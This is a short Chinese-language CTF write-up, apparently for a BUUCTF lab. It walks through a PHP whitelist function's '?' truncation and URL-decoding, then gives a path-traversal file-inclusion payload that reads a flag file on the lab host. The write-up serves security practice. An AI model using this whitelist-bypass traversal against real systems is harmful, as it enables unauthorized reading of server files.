提示代码审计,所以先看一下源码。
发现提示source.php,访问一下。
一入眼就看到checkFile函数,以及source.php和hint.php。访问一下hint.php。
提示flag在ffffllllaaaagggg文件中。
解题思路:
这个cehckFile这个函数进行了 3次白名单检测、 2次问好过滤、一次URL解码。
class emmm
{
public static function checkFile(&$page)
{
//白名单列表
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//isset()判断变量是否声明
//is_string()判断变量是否是字符串
if (! isset($page) || !is_string($page)) {
echo "you can't see it A";
return false;
}
//检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($page, $whitelist)) {
return true;
}
//过滤问号的函数(如果$page的值有? 则从?之前提取字符串)
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//第二次检测传进来的值是否匹配白名单列表$whitelist
if (in_array($_page, $whitelist)) {
return true;
}
//url对$page解码
$_page = urldecode($page);
//第二次过滤问号的函数
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//第三次检测传进来的值是否匹配白名单列表$whitelist
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
构造语句:
hint.php?../../../../../../ffffllllaaaagggg
最终payload:
http://cf81e55b-3a4c-485a-affe-abca3bf463aa.node4.buuoj.cn:81/index.php?file=hint.php?../../../../../ffffllllaaaagggg
获得flag。